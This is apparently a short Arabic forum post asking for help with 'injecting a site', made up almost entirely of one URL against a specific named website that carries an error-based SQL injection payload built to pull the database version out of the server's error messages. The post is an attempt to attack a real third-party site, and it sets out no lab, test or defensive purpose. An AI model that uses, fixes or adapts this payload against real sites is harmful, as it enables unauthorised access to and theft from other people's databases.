مشكل في حقن موقع .. ممكن مساعدة

http://www.dracoders.com/games.php?id=7 and(select 1 from(select count(*),concat((select (select 
concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from 
information_schema.tables group by x)a) and 1=1